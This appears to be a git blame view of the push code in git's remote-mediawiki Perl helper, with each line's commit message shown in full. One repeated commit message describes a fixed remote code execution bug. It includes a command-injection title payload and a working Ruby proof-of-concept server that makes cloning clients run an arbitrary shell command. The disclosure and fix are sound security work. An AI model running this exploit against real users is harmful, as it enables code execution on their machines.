Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
} else {
|
|
|
|
# No remote mediawiki revision. Export the whole
|
|
|
|
# history (linearized with --first-parent)
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Warning: no common ancestor, pushing complete history\n";
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $history = run_git_quoted(["rev-list", "--first-parent", "--children", $local]);
|
2013-06-14 15:50:09 +02:00
|
|
|
my @history = split(/\n/, $history);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
@history = @history[1..$#history];
|
|
|
|
foreach my $line (reverse @history) {
|
2013-06-14 15:50:19 +02:00
|
|
|
my @commit_info_split = split(/[ \n]/, $line);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
push(@commit_pairs, \@commit_info_split);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
foreach my $commit_info_split (@commit_pairs) {
|
|
|
|
my $sha1_child = @{$commit_info_split}[0];
|
|
|
|
my $sha1_commit = @{$commit_info_split}[1];
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $diff_infos = run_git_quoted(["diff-tree", "-r", "--raw", "-z", $sha1_child, $sha1_commit]);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
# TODO: we could detect rename, and encode them with a #redirect on the wiki.
|
|
|
|
# TODO: for now, it's just a delete+add
|
|
|
|
my @diff_info_list = split(/\0/, $diff_infos);
|
2012-06-27 11:10:16 +02:00
|
|
|
# Keep the subject line of the commit message as mediawiki comment for the revision
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $commit_msg = run_git_quoted(["log", "--no-walk", '--format="%s"', $sha1_commit]);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
chomp($commit_msg);
|
|
|
|
# Push every blob
|
|
|
|
while (@diff_info_list) {
|
2011-09-27 19:54:59 +02:00
|
|
|
my $status;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
# git diff-tree -z gives an output like
|
|
|
|
# <metadata>\0<filename1>\0
|
|
|
|
# <metadata>\0<filename2>\0
|
|
|
|
# and we've split on \0.
|
|
|
|
my $info = shift(@diff_info_list);
|
|
|
|
my $file = shift(@diff_info_list);
|
2011-09-27 19:54:59 +02:00
|
|
|
($mw_revision, $status) = mw_push_file($info, $file, $commit_msg, $mw_revision);
|
2013-06-14 15:50:30 +02:00
|
|
|
if ($status eq 'non-fast-forward') {
|
2011-09-27 19:54:59 +02:00
|
|
|
# we may already have sent part of the
|
|
|
|
# commit to MediaWiki, but it's too
|
|
|
|
# late to cancel it. Stop the push in
|
|
|
|
# the middle, but still give an
|
|
|
|
# accurate error message.
|
|
|
|
return error_non_fast_forward($remote);
|
|
|
|
}
|
2013-06-14 15:50:30 +02:00
|
|
|
if ($status ne 'ok') {
|
2013-06-14 15:50:21 +02:00
|
|
|
die("Unknown error from mw_push_file()\n");
|
2011-09-27 19:54:59 +02:00
|
|
|
}
|
2011-09-01 18:54:56 +02:00
|
|
|
}
|
2013-06-14 15:50:32 +02:00
|
|
|
if (!$dumb_push) {
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
run_git_quoted(["notes", "--ref=${remotename}/mediawiki",
|
|
|
|
"add", "-f", "-m",
|
|
|
|
"mediawiki_revision: ${mw_revision}",
|
|
|
|
$sha1_commit]);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "ok ${remote}\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
